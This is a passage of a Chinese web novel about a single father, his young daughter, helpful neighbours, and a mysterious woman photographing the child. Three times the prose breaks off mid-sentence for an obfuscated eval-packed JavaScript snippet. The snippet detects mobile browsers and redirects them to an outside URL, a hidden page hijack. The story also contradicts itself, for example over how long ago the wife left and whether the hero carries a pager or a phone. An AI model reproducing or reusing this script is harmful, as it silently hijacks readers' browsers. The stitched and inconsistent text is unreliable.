她顿了顿,身子往前凑了凑,看着林凡的眼睛说: “你要是赶不及回来接笑笑,就把她放那儿,我帮你盯着——我每天下午都在那儿整理绘本,放心。” 林凡后来从孙奶奶那儿知道,活动室每天下午大概有8个孩子,多是附近小区双职工家庭的。李主任怕笑笑刚去不适应,特意提前跟其他家长打招呼: “笑笑是新来的小姑娘,特别乖,你们多跟她玩,别让她孤单。” 有次孙奶奶去活动室拿老花镜,看见李主任踩着凳子,把笑笑喜欢的《小熊的爸爸》绘本放在最上层的书架—— 因为笑笑够得着的中层都被大一点的孩子占了,李主任还在绘本封面贴了个小贴纸,说“这样笑笑一眼就能找到”。 林凡没推辞这份善意。上周四他得去市区处理专柜陈列调整—— 要把滞销的牛仔裤移到显眼位置(这批牛仔裤进了50条,只卖了9条),还得贴“买一送一”的海报,海报是他前一晚用家里的打印机打的,边缘有点歪,墨色也不均匀。 早上把笑笑送到活动室时,孩子攥着他的衣角,手指泛白—— 笑笑以前总爱咬指甲,林凡前天才用儿童指甲剪帮她剪短,指甲盖圆圆的,还涂了点透明指甲油(笑笑说“要跟小红的一样漂亮”)。 她眼睛盯着地面的黄色软垫,小声说 “爸爸,我不想在这儿,我想跟你去”,声音细得像蚊子叫。 张婶一见这情形,赶紧从玩具柜里拿出木质动物积木,蹲在地上拼小火车—— 她的手指有点关节炎,阴雨天会疼,那天正好有点降温,拼积木时指关节都在颤,却还是笑着说: “笑笑看,这是火车头,呜呜——开啦!” 她还模仿火车的汽笛声,逗得旁边穿蓝色上衣的乐乐(李主任的孙子)哈哈大笑,乐乐还跟着学“呜呜——”,活动室里一下子热闹起来。 孙奶奶—— 那位70岁、总戴银框老花镜的老人,镜片上有两道浅痕(去年摔了一跤蹭的)—— 则抱来个粉色绒布娃娃,娃娃的眼睛是黑色纽扣,裙子上缝着白色蕾丝边,裙摆有点脱线。 “这是我孙女小时候的娃娃,她现在在国外读大学,去年回来让我送给需要的孩子,我一直没舍得,昨天见笑笑喜欢布娃娃,就带来了。” 孙奶奶捏着嗓子学娃娃说话,声音软软的: “哎呀,这不是笑笑小仙女吗?我会唱《小星星》,要不要跟我一起唱呀?” 唱到“一闪一闪亮晶晶”时,她故意把“亮晶晶”唱成“亮晶——嘎——晶”,像小鸭子叫,乐乐笑得拍着手, 笑笑也终于抬起头,嘴角轻轻弯了弯,露出两颗小虎牙,左边脸颊还有个浅浅的小酒窝。 林凡在活动室门口站了十分钟,看着女儿慢慢松开他的手,跟着张婶去搭积木—— 小背影一晃一晃的,粉色连衣裙的裙摆扫过软垫上的小鸭子图案,还时不时回头看他一眼,小手挥了挥,才转身匆匆离开。 他的三轮车是灰色的,已经用了8年,是下岗时和王猛买的,链条换过两次,车座有点破,他用黑色胶带缠了三圈; 车筐里放着要给笑笑买的粉色小发卡—— 昨天笑笑在超市看见小红戴,就拽着他的衣角说“爸爸,我也想要”,他当时没买,想着等营业额好点再说,今天特意早起去超市挑了个带小蝴蝶结的。 再去接笑笑的路上,他看见孙奶奶弯腰帮笑笑捡掉在地上的积木—— 孙奶奶有腰椎间盘突出,平时很少弯腰,那天却蹲了三次,每次起来都要扶一下腰,后背驼得像座小拱桥。 等他晚上7点多赶回社区,天已经黑了,活动室里还亮着灯,暖黄色的光从窗户里透出来,像块刚捂热的暖玉。 推开门就看见笑笑坐在小桌子旁,小脸红扑扑的,正把一块撒了新疆葡萄干的鸡蛋糕分给乐乐。 那是孙奶奶自己烤的,她知道笑笑不爱吃太甜的,特意把糖减了一半,葡萄干是女儿从新疆寄来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622513|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她自己舍不得吃,装在玻璃罐里存了三个月。 蛋糕是圆形的,上面撒了一层薄薄的奶粉,葡萄干颗颗饱满,林凡数了数,大概有12颗,都嵌在蛋糕里,怕笑笑噎着。 “谢谢笑笑!”乐乐接过蛋糕,咬了一大口,奶油沾在嘴角,笑笑笑着帮他擦掉,小大人似的说“慢慢吃,还有呢”。 “爸爸!” 笑笑看见他,举着剩下的一小块蛋糕跑过来,踮着脚往他嘴里塞, “孙奶奶的糕糕超甜,你快尝尝!” 林凡咬了一口,淡淡的奶甜裹着葡萄干的果香,从舌尖一直漫到心里——这味道像极了苏晚晴以前烤的小糕。 以前妻子在的时候,每个周末都会烤红薯,想到这儿,他眼眶突然就热了,赶紧别过头,用袖口擦了擦,怕笑笑看见——他不想让女儿看见爸爸哭。 张婶在旁边收拾玩具,把积木放进红色收纳箱里——收纳箱上印着“快乐童年”四个字,颜色有点褪色,是去年社区活动日发的。 她收拾得很仔细,每块积木都要用湿巾擦一遍,“以前有个孩子对灰尘过敏,我就养成了擦积木的习惯,放心,都干净。” 她看见林凡擦眼睛,就摆摆手说:“谢啥呀,邻里邻居的,互相帮衬是应该的。 笑笑这孩子乖得很,下午跟我们学折纸,折了个小兔子,还帮我递剪刀呢,递的时候特意把尖的那头对着自己,比我家孙子还懂事。” 孙奶奶也笑着凑过来,手里还拿着笑笑画的画—— 纸上画着三个小人,一个扎蝴蝶结(是笑笑),一个戴老花镜(是孙奶奶),一个举着小火车(是张婶),颜色涂得有点乱,却透着可爱: “是啊,笑笑还跟我唱了《小星星》,比我唱得好听多了,我这老嗓子都跟不上调。” 从那以后,居委会活动室成了笑笑的小乐园。林凡每天早上送她去,看着她抱着粉色绒布娃娃跑进活动室,还会回头跟他说“爸爸再见,早点来接我”,声音脆生生的; 下午要是店里忙,张婶或孙奶奶就会把笑笑接出来,带她在小区的花坛边看蝴蝶—— 小区里的紫丁香开了,淡紫色的花簇挂在枝头,引来好多黄黑相间的菜粉蝶,还有几只白色带黑点的玉带凤蝶,飞得慢悠悠的。张婶会摘一片干净的柳叶,让蝴蝶停在上面,给笑笑看: “你看,蝴蝶的脚有吸盘,能站在叶子上不掉下来。” 有时候她们还会去超市门口看摇摇车,孙奶奶总会从口袋里掏出一块钱硬币,塞进摇摇车的投币口,让笑笑坐“小火车”—— 摇摇车会唱《两只老虎》,笑笑每次都跟着唱,手抓着扶手晃,孙奶奶就站在旁边扶着,怕摇摇车晃得太厉害。 这让林凡少了很多牵挂。以前去市区,他每隔一小时就给隔壁花店的王姐打电话,问“笑笑有没有哭”“有没有找爸爸”,王姐总说“你放心,笑笑乖得很”,可他还是不踏实,总想着早点回来。 现在他能安安心心地跟厂家谈订单——上周跟广州的厂家谈成了一批公主裙,进价比之前低了15%; 甚至能抽出时间优化店铺陈列:把卖得好的公主裙(上周卖了8条)挂在最显眼的位置,还在柜台摆了个二手市场淘来的小鱼缸(20块钱),里面养了两条红色小金鱼—— 是隔壁花店王姐送的,王姐说“给孩子添点乐子”。鱼缸旁边放了点彩色石头,有次一个穿黄色连衣裙的小女孩盯着鱼缸看了20多分钟, 她妈妈笑着说“这鱼真可爱”,顺便买了条浅粉色公主裙,说“跟笑笑的一样好看”。 上周的营业额总算有了起色,比之前多了300块,达到1500元——这是下半年营业后,第一个月营业额没亏损。 林凡特意去超市买了箱苹果,24个,每个都用纸巾擦得干干净净,没有一点斑点,他说“要给大妈们送点甜的”。 分给张婶、李主任他们时,张婶接过苹果,笑着说“你这孩子,太见外了,这点小事还记着”,却还是小心地放进菜篮里,回家后摆在客厅的果盘里,舍不得吃,说“等孙子周末回来一起吃”。 店里有些掉了漆却还能玩的小玩具——比如缺了个轮子的绿色小汽车(是笑笑以前玩的)、有点褪色的棕色小熊玩偶(是妻子以前给笑笑买的), 一共12个,笑笑说“爸爸,给其他小朋友玩,大家一起开心”,林凡就把它们都送到了活动室。 孩子们拿到玩具时,围着他喊“林凡叔叔”,声音脆生生的,像刚剥壳的花生,听得他心里暖暖的—— 他突然觉得,这家小店不只是卖衣服的地方,更是被善意围着的小家。 第五十七章:神秘女人 可生活总爱在平静时泼一盆冷水。 就在林凡觉得“事业-家庭-社区”的平衡终于稳住—— 他的“笑笑宝贝屋”刚熬过淡季,玻璃门上还贴着三月春装的粉色海报,模特身上的碎花小裙被风吹得轻轻晃; 上周营业额突破4000元的账本摊在柜台上,红笔圈出的数字比去年多了800多,他指尖蹭过那道红圈时,连指尖都带着热乎气; 社区里的妈妈们常抱着孩子来串门,搪瓷缸里的菊花茶还冒着热气,就把装饺子的保鲜盒往柜台上放, “小林你趁热吃,韭菜馅的,笑笑也爱”; 笑笑每天放学后在社区活动室跟着张婶玩,昨天还攥着他的手,奶声奶气唱《小星星》,跑调的尾音裹着糖味—— 甚至开始计划给笑笑报个绘画班时,他特意蹲在地上,膝盖蹭到店门口刚扫过的细沙,有点痒。 抬头时正撞见笑笑圆溜溜的眼睛,眼睫毛像两把小扇子,粉白的草莓饼干碎屑沾在她的指尖,空气里飘着淡淡的甜香。 “笑笑想不想学画画呀?画妈妈,画爸爸,还能画张婶家的小花猫。” 笑笑眨着眼睛点头,小手里的饼干渣簌簌落在他的牛仔裤上,那丝阴霾就悄悄飘了过来,像初春的乌云裹着冷意,刚暖起来的空气瞬间凉透,连柜台上的菊花茶都凉得快了些。 那天傍晚,林凡从市区进货回来时快8点了,三轮车“嗡嗡”地碾过路面的坑洼,他下意识把车把攥得更紧—— 筐里的棉花糖不能晃坏,那是女儿昨天趴在柜台上念叨了好久的“粉色的、像云朵一样的糖”,透明塑料袋裹着的糖丝已经有点化了,黏在袋壁上,像被揉皱的晚霞。路灯亮了, 橘黄色的光洒在坑洼的路面上,积水的小坑里映着他的影子,拉得老长,瘦高的黑框里裹着电动车的轮廓,凑成一副孤零零的剪影,风裹着初春的凉,吹得他耳朵尖发疼。 他熟门熟路往活动室走,远远就听见孩子们的笑声,像撒在地上的玻璃珠,清脆得很;可走近了,却看见张婶正蹲在地上帮笑笑擦汗,手里的手帕是蓝格子的,边角洗得发白。 孩子刚跟乐乐玩了捉迷藏,躲在滑梯下面的阴影里,额头的汗细密得像撒了把碎盐,额前的碎头发湿哒哒贴在皮肤上,小脸红扑扑的,像刚从灶上端下来的糖炒栗子,透着热乎气。 张婶见他来了,赶紧起身拉着他往走廊拐角走,走廊里的声控灯坏了一个,只剩右边那盏亮着,光线忽明忽暗,两人的影子贴在墙上,一会儿拉成瘦长条,一会儿缩成矮疙瘩,晃得人眼晕。 “小林,有个事我得跟你说,你别着急。” 张婶的声音有点抖,手指无意识地扯着衣角——那是件洗得发白的碎花衬衫,袖口磨出了毛边,是她女儿去年给她买的。 说话时她还时不时搓着手,掌心的老茧蹭得布料沙沙响,眼睛往活动室门口瞟的时候,瞳孔里映着里面的灯光,忽明忽暗的。 “下午4点多,我正带着孩子们叠纸船呢,彩纸撒了一地,就看见个女人在活动室外面的栏杆边转。她不说话,就盯着笑笑看,笑笑爬滑梯的时候,她还掏出相机拍了照—— 我清清楚楚看见对着笑笑拍了一下,蓝盈盈的光,还听见‘咔嚓’一声,轻得像捏碎了片薄冰。” 张婶顿了顿,又往林凡身边凑了凑,肩膀都快贴到他的胳膊了,声音压得更低,气音裹着紧张: “我赶紧走过去问她找谁,她支支吾吾说‘等朋友’,眼神躲躲闪闪的,跟偷了东西似的,一直往活动室里瞟,没两分钟就慌慌张张走了。 那女人看着不像咱们这片的,穿得太扎眼了,跟电视里商场专柜的售货员似的—— 咱们这老小区,平时大家都穿运动服、 棉外套,袖口磨白了都舍不得扔,哪有人穿那么讲究?” 林凡的心一下子提了起来,像被一只冰冷的手攥住,连呼吸都变得紧巴巴的,喉咙里像堵了团棉花。 他赶紧追问: “张婶,您还记得她长什么样吗?多大年纪?穿什么衣服?有没有什么特别的地方?” 他的手不自觉地握紧了,指节泛着白,连指甲盖都透着青—— 去年社区里丢过一个三岁的小男孩,就是被陌生人盯着看了两天,后来在菜市场门口差点被拐走,还好卖豆腐的老王头喊了一嗓子,才把人抢回来。 当时那孩子的妈妈抱着孩子哭,眼泪把孩子的衣领都浸透了,那画面他现在想起来还心颤。 “大概三十多岁吧,看着挺年轻的,皮肤白得像刚剥壳的鸡蛋,不像咱们天天在太阳底下晒的,胳膊肘都带着糙劲儿。” 张婶皱着眉回忆,眼睛盯着地面,像是在找当时落在地上的影子, “穿了件黑白格的大衣,我特意看了眼,那格纹是2厘米见方的,整整齐齐的,一点都不歪,比我孙女的算术本格子还规矩; 领口有珍珠扣,白色的,圆圆的,比我孙女的玻璃弹珠还大,在太阳底下还反光呢; 大衣长度刚到膝盖,料子看着是羊毛的,挺括得很,风一吹都不贴身子,不像我身上这件棉袄,洗两次就塌了,软趴趴的。 头发烫成大波浪,棕色的,长度到肩膀下面,发尾有点卷,风一吹还飘,像挂了串小旗子;脸上涂得挺白,嘴唇上抹了红口红,是那种很亮的红,跟过年时吃的樱桃似的,看着就甜; 手里拎着个黑色的包,皮质的,上面有金色的链条,大概20厘米长,我去年在商场见过类似的,专柜小姐说要三千多呢—— 咱们小区谁舍得买这么贵的包?上次李婶买个两百块的包,还跟我们念叨了半个月。” 她又补充道,声音里带着点肯定: “她站在栏杆边时,手指老摸着包带,摸来摸去的,指甲盖涂着粉颜色的油,亮闪闪的。 还时不时掏呼机出来看,屏幕亮一下就按灭,像是在等什么人回信,又怕被人看见。 我跟她说话的时候,她都不敢抬头看我,头埋得低低的,声音细得像蚊子叫,嗡嗡的听不清,说完转身就走,走得还挺快, 高跟鞋踩在水泥地上‘噔噔’响,跟敲小鼓似的,越走越远,拐过路口就没影了,只剩那脚步声还飘了会儿。” 林凡的脑子“嗡”的一声,无数念头涌了出来,像乱麻缠在一起,越缠越紧,连太阳穴都突突地跳。 是钱老西吗?那个县城另一家童装店的老板,50多岁,光头,头皮上泛着油光,脸上有颗痣在左嘴角,说话时痣会跟着一动一动的,像个小虫子。 之前因为林凡的店卖的童装性价比高—— 同款牛仔裤,林凡进的是红星服装厂的纯棉款,摸着软乎乎的,卖59元; 钱老西的是混纺款,硬邦邦的,却卖69元—— 钱老西就故意散播“林凡卖次品”的谣言。 他在菜市场跟卖菜的王阿姨、李婶说: “林凡的童装是洋垃圾改的,孩子穿了会过敏,上次有个妈妈买了条裤子,孩子穿了腿上起满了红疹子,去医院花了好几百呢!” 那段时间,林凡的店每天都少了三四个顾客,有次一个妈妈领着孩子来退单,手里捏着那条纯棉牛仔裤,语气带着歉意: “小林啊,不是不信你,就是老钱说得太吓人,我家娃皮肤嫩……”林凡接过裤子时,指尖碰到布料,心里像被针扎了似的疼。 一周退了5单,账本上的红叉叉刺得眼晕,少赚了300多块。后来林凡没办法,拿着红星服装厂的进货单—— 上面盖着厂家红色公章,油墨还透着新鲜,还有每批次的质检报告—— 去菜市场当着十几个人的面澄清,周围的邻居都帮林凡说话,王阿姨还拎着菜篮子帮腔: “小林是实诚人,我家孙子穿他的衣服从没出过问题!” 钱老西才灰溜溜地走了,临走时还恶狠狠地瞪了林凡一眼,眼神像要**,说“你给我等着,这事没完”。 还是刀螂那伙人? 去年冬天,他们三个人来店里收保护费,领头的刀螂留着寸头,头皮上有道疤,胳膊上有青龙纹身,龙头在胳膊肘,青色的鳞片看着很凶,像要从皮肤里爬出来。 他把黑色钢管往柜台上一放,“砰”的一声,震得货架上的袜子掉了几双,连挂在旁边的小裙子都晃了晃,裙摆扫过林凡的手,凉丝丝的。 “这片区我们罩着,每月交500块保护费,不交钱,你这店就别想开门。”林凡没给,还悄悄报了警,警察来的时候,刀螂他们还想跑,最后被抓了,拘留了10天。 出来后,刀螂带着两个小弟在小区门口堵过他一次,手里拎着根手腕粗的黑色钢管,往地上一砸,“砰砰”响,水泥地上都溅了点灰,吓得路过的老奶奶赶紧往旁边躲,手里的菜篮子都歪了。 他恶狠狠地说“等着瞧,我让你女儿没好日子过”,林凡当时气得血往上涌,攥着拳头就想跟他拼命,还是王猛和隔壁卖水果的刘叔和快递员小张拉开了, 刘叔还帮他挡了一下,胳膊被钢管蹭红了一大片,渗着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622514|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血丝。 后来警察听说了这事,特意在小区门口加了巡逻,每周来两三次,穿着藏蓝色的制服,脚步声“噔噔”的,这才安生了几个月。 或者……是苏晚晴? 这个念头刚冒出来,林凡的心就颤了一下,像被针扎了似的,连呼吸都顿了顿。 可他最后一次见苏晚晴是在火车站,那是两年前的秋天,风裹着煤烟味,吹得人眼睛发涩。 苏晚晴穿的是洗得发白的蓝色牛仔裤,膝盖处还补了块补丁,一件旧蓝色T恤,领口都磨出了毛边,风一吹就贴在身上。 头发扎成马尾,碎头发贴在脸颊上,手里拎着个印着“上海”的帆布包,包带子都快断了,线头挂着,还是林凡在候车室用针线缝了两针才勉强能用—— 当时他的手指被针扎了一下,渗出颗小米大的血珠,苏晚晴凑过来,用拇指蹭掉血珠,眼圈红了:“你别缝了,到上海我再买个新的。” 可他还是缝了,针脚歪歪扭扭的,却把带子缝得结实。这跟张婶描述的“时髦女人”差得太远了。 苏晚晴以前很节俭,每次逛超市都要等打折,货架上的牛奶临期了才买,买口红只买地摊上15块钱的,说“能涂就行,不当吃不当穿的”,更别说几千块的包了。 有一次笑笑想要个会唱歌的娃娃,苏晚晴在玩具店门口转了三圈,还是没舍得买,回家用袜子缝了个布娃娃,塞了点棉花,还缝了两颗黑纽扣当眼睛,笑笑抱了半年都没舍得丢, 睡觉都揣在怀里。可万一…… 万一她在上海赚了钱,回来找笑笑了呢? 他不敢深想,却又控制不住地盼着—— 万一真是她呢?万一她是想看看笑笑,又不好意思见他,才躲在外面拍照呢? 去年冬天,笑笑半夜发烧,脸蛋烧得通红,哭着喊“妈妈”,声音哑得像破锣。 林凡抱着女儿往医院跑,寒风刮在脸上像刀子,他把女儿裹在大衣里,能感觉到她小小的身体在发抖。 在医院走廊里坐了一夜,输液管里的药水一滴一滴往下落,像敲在他心上,当时他就想,如果苏晚晴在,该多好—— 她会用热毛巾给笑笑擦脸,会哼着歌哄她睡觉,不像他,连给孩子喂药都要手忙脚乱。 他强装镇定,从口袋里掏出刚买的棉花糖,塑料包装蹭过手指,有点黏。 笑笑看见糖,眼睛一下子亮了,伸手就来抓,他把糖递过去,跟张婶说了好几声“谢谢”,声音里带着点发颤,才抱着女儿往家走。 一路上,他总觉得背后有人盯着,像有双眼睛贴在背上,凉飕飕的。每走几步就回头看一眼,小区的石板路上只有风吹着垃圾桶盖子的“哐当”声,还有自己的脚步声“嗒嗒”响,空落落的。 每次回头都没人,可心里的慌劲儿却越来越大,像揣了只兔子,蹦得他胸口发闷。 路边的梧桐树刚冒出新芽,芽尖是嫩绿色的,沾着点露水,偶尔蹭到他的胳膊,凉丝丝的,风一吹,叶子“沙沙”响,在路灯下晃来晃去,像有人躲在树后面,探出半张脸。 笑笑趴在他肩膀上,手里还攥着孙奶奶下午给的奶油味小饼干,碎渣掉在他的黑色外套上,黏糊糊的,还带着点甜香。 她小声说: “爸爸,你今天怎么老回头呀?是不是有大灰狼?老师说大灰狼会抓小孩,还要吃小红帽。”她的声音软乎乎的,带着点刚玩过的倦意,呼出来的气吹在他的脖子上,暖暖的。 林凡摸了摸女儿的头,头发软软的,还带着点汗味,像晒过太阳的棉花。他把女儿抱得更紧了,手臂勒得有点酸,声音尽量放得温柔: “没有大灰狼,爸爸看见一只小猫,黄色的,特别可爱,还有白色的小爪子,想指给你看,结果它跑了,躲到树后面去了。” 他的声音有点抖,像被风吹得变了调,还好笑笑没听出来。笑笑“哦”了一声,没再问,把头埋在他的脖子里,小呼吸慢慢变得均匀—— 她睡着了,嘴角还带着笑,大概是梦见那只小黄猫了,睫毛在眼下投出浅浅的阴影,像两片小叶子。 林凡低头看着女儿的睡颜,脚步放得更轻了,每一步都像踩在棉花上,生怕吵醒她。 心里却像压了块石头,沉得慌: 不管那个女人是谁,是钱老西的人,是刀螂的同伙,还是……他都得护好笑笑,绝不能让女儿受一点委屈。 风还在吹,梧桐叶的“沙沙”声还在响,可他抱着女儿的胳膊,却攥得更紧了,像抱着全世界最珍贵的东西。 第五十八章:深夜的焦虑与决心 晚上,哄笑笑睡熟后,林凡轻手轻脚地挪到店里的小桌子旁,连椅子腿与地面摩擦的“吱呀”声都刻意压到最小—— 他怕惊醒刚退烧的女儿。桌上的台灯是去年从旧货市场淘的,35块钱拿下,暖光透过有点发乌的玻璃罩洒下来,刚好罩住摊开的账本,也映出他眼底的红血丝。 可账本上的数字像生了锈的钉子,扎得他眼睛发疼: 三月房租1500元、三批童装进货费3200元、水电物业费280元,零零总总加起来近5000元的支出栏里,收入却只有可怜的416元。 红色的亏损数字密密麻麻排了半页,三月截至今天总亏损已经到了2860元,连“3月15日卖裙子1条,收入80元; 3月16日卖儿童袜子两双,收入36元”这样零星的收入,都被红色笔迹衬得格外刺眼,像是在无声地提醒他:再亏下去,连笑笑的奶粉钱都要凑不齐了。 他掏出裤兜里的呼机,外皮是磨得发亮的银色,左上角一道3厘米长的裂纹像条小蛇,那是上个月搬换季童装货架时摔的—— 当时货架腿卡进台阶缝,他手忙脚乱去扶,呼机从裤兜滑出来,角角先着地。 去维修店问要220元,他攥着钱犹豫了半天,想起前一天笑笑指着超市货架上15元一盒的彩笔说“爸爸,我想画画”, 他当即就买了,可自己的手机维修费,却琢磨着“能接信息就行”,愣是没换。现在屏幕裂口里还卡着点灰尘,每次划屏都要多用力按一下。 手指在屏幕上划开通讯录,苏晚晴的呼机号码“129--xxxx5678”跳了出来,这串数字他背了五年,连做梦都能念出来, 屏幕上拨号键的位置,因为反复按压,塑料壳都泛了白,快被按出印子了。指尖悬在拨号键上,却像挂了块铅,怎么也按不下去。 他怕,怕听筒里传来“您所拨打的号码已停机”的机械提示音,那会掐断他最后一点念想; 更怕打通了,那边传来的是陌生的声音,或者干脆没人接—— 就像五年前那个雨天,台风“海燕”过境,县城下着瓢泼大雨,他打了几十通呼机,始终只有忙音,直到雨停了,才收到一条陌生号码发来的短信,只有“勿念”两个字,之后再无音讯。 恍惚间,钱老西摔模特的样子又冒了出来。 钱老西是隔壁“童趣屋”的老板,比林凡早开三年店,脸上总挂着横肉,平时见谁都爱搭不理。去年林凡从市区专柜调了几款碎花连衣裙,面料是棉麻的, 进价比钱老西的化纤款还低,卖价却只标了99元,比“童趣屋”便宜30块,那段时间每天都有顾客专门来买,抢了钱老西不少生意,打那以后他就总来找茬。 上次他拎着个印着小熊图案的塑料模特进来,“哐当”一声砸在水泥地上,模特的右臂当场断成两截,塑料碴子溅到林凡的鞋边,差点划破鞋面。 钱老西唾沫星子直往他脸上喷:“你个小兔崽子,敢抢我的生意?信不信我把你这破店砸了!”林凡当时攥紧了拳头,却想起里屋午睡的笑笑,还是忍了下来,后来自己用502胶水粘了 半宿,模特胳膊还是歪歪扭扭的,现在还放在货架最角落,像个提醒。还有刀螂那伙人,胳膊上纹着青黑色的青龙,夏天总光着膀子晃悠。 上次来要“保护费”时,钢管往柜台上一敲,“砰砰”声把货架上的毛绒玩具都震掉了,有个小熊的眼睛都摔掉了。刀螂眯着眼说“每月交五百,保你平安”, 林凡不肯,他们就踹了两脚货箱,箱里刚进的春装小外套撒了一地,两件衣服的袖口被踹破了,后来便宜处理都没人要,光这就损失了120元。 这些事他都能扛,大不了把市区的专柜关了——反正专柜每月也亏两千多,租金还比县城贵三倍,回县城专心守着这家小店就行; 可他一想到有人可能打笑笑的主意,心就像被一只手攥住,连气都喘不过来。笑笑是他的命,是他每天早上五点爬起来去批发市场进货、 晚上熬夜对账的唯一理由,上次笑笑感冒发烧到39度,他抱着孩子跑医院,手都在抖,要是笑笑出点事,他这条命也撑不下去了。 他起身走到窗边,手指掀开窗帘一角,外面的街道静得能听见远处便利店冰箱的嗡鸣声,还有偶尔传来的狗吠。 路灯是老式的钠灯,投下昏黄的光,把路面照得一块亮一块暗,像补丁似的。偶尔有晚归的人骑着电动车匆匆路过,车灯像两颗微弱的星星,在夜色里滑出一道光痕, 很快就消失在巷口——那是去城郊工厂上夜班的工人,林凡以前在工厂闪过班,知道这份辛苦。 这时,张婶下午说的话又冒了出来,像一颗石子投进水里,在他心里漾开一圈圈忧虑的涟漪。 张婶平时最热心,经常给笑笑带自家蒸的红糖馒头,上次笑笑的鞋带开了,还是张婶蹲在地上帮系的。 下午张婶来买纽扣,攥着他的胳膊压低声音说:“小林啊,今天我去活动室接孙子,就3号楼那间,平时老人孩子多的地方,看见个穿黑白格大衣的女人, 站在楼下盯着笑笑看了好半天,笑笑追着蝴蝶跑的时候,她还跟着挪了两步,眼神怪怪的,不像普通人路过,你可得当心点!” 那个女人到底是谁? 是偶然路过,还是特意来找笑笑? 要是冲着他的生意来,为什么不找他,反而盯着笑笑?要是……要是真的是苏晚晴,她为什么不直接来见他? 五年前她走得那么突然,连笑笑的周岁照都没带走,现在为什么要躲在暗处看?她是不是遇到了什么难处,比如被人逼债,连现身都不敢? 一个个疑问像藤蔓似的缠上他的心。 林凡觉得,下午刚松下来的那口气又提了回去。 前阵子社区挺照顾他,知道他是单亲爸爸,妻子走得早,一个人带孩子不容易,不仅给发了800元的单亲家庭取暖补贴,王队还帮他申请了童装摊位的管理费减免—— 原来每月要交200元,现在减免后每月只交50元,一年能省1800元。 当时他裹着社区送的旧棉袄,那棉袄是别人捐赠的,里面还缝了个小口袋,他后来在口袋里发现一张折叠的小纸条,上面用铅笔写着“加油,一切都会好的”, 那一刻他觉得日子总算有了盼头,连进货时脚步都轻快了些。可现在,那股暖意像被风吹走了似的,他总觉得暗处有双眼睛盯着他和笑笑,心里的寒意从骨头缝里往外冒, 连指尖都凉了,他下意识地裹紧了身上的薄外套—— 这是去年冬天买的,现在已经有点短了。他深吸一口夜里的冷空气,冰凉的空气钻进肺里,让他打了个寒颤,可眼神却慢慢定了下来—— 不管那个女人是谁,不管她有什么目的,他都要护住笑笑,哪怕拼了命也值,这是他作为父亲的责任。 他摸出呼机,翻出社区保安队长王队的呼机号码。王队今年52岁,头发鬓角都白了,平时总穿着深蓝色的保安服,袖口磨得有点起球,却总是干干净净的。 之前林凡去批发市场进货,忘了锁三轮车,停在店门口,王队正好巡逻看到,当时下着小雨,王队就站在三轮车旁边,把自己的雨衣脱下来盖在车座上, 等林凡回来时,王队的肩膀都湿了,还笑着说“没事,就等了半小时”。 还有次笑笑在活动室哭着找爸爸,也是王队把孩子送回来的,当时笑笑手里还攥着半块没吃完的饼干,王队手里拿着另一块,说是笑笑非要塞给他的。 “王队,麻烦您帮我调一下今天下午3点到5点活动室楼下的监控,看看有没有一个穿黑白格大衣、拎黑包的女人,大概三十多岁,谢谢您了。” 他的声音有点发紧,怕给王队添麻烦,又怕晚了监控被覆盖——社区的监控只保存7天,要是错过了就麻烦了。 王队在电话里的声音很沉稳,像温水一样熨帖: “行,小林你别着急,明天一早我就去监控室调,一有消息就给你打电话。你晚上也别多想,把店门、家门都锁好,特别是家门,我记得你那锁有点松, 不行明天我帮你找个师傅修修,有事儿随时喊我,我值夜班,就在传达室,离你家近。” 挂了电话,林凡心里暖了点,王队的话像一颗定心丸。 他又翻出李警官的呼机号码。 上次刀螂被拘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626426|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留那天,李警官特意给他打了呼机,说“以后再有人找你麻烦,别自己扛着,随时给我打呼机”,当时刀螂因为寻衅滋事被拘留了7天,出来后没敢再来店里。 林凡当时还特意买了箱水果去派出所感谢,李警官没收,说“这是应该的,保护老百姓是我们的职责”,还送了他一张警**系卡,让他贴在店里显眼的地方。 他把李警官的号码挪到呼机首页,备注改成“李警官(紧急)”—— 屏幕上的字有点小,他还特意调大了字体,怕夜里着急看不清,又试呼了一下,确认能打通才放心。 他轻手轻脚走到笑笑的床边,蹲下来看着女儿熟睡的脸。 笑笑的睫毛很长,大概1厘米,比苏晚晴当年的短一点——苏晚晴的睫毛能到1.2厘米,笑起来时会扫到下眼睑,像两把小扇子,他以前总爱拨弄她的睫毛。 此刻,笑笑的睫毛在脸上投下小小的影子,连呼吸都轻轻的,偶尔还会咂咂嘴,像是在梦里吃了什么好吃的,大概是下午念叨的草莓蛋糕。 她的小手紧紧抓着林凡的衣角,指节都攥得有点发白,像是怕一松手爸爸就不见了—— 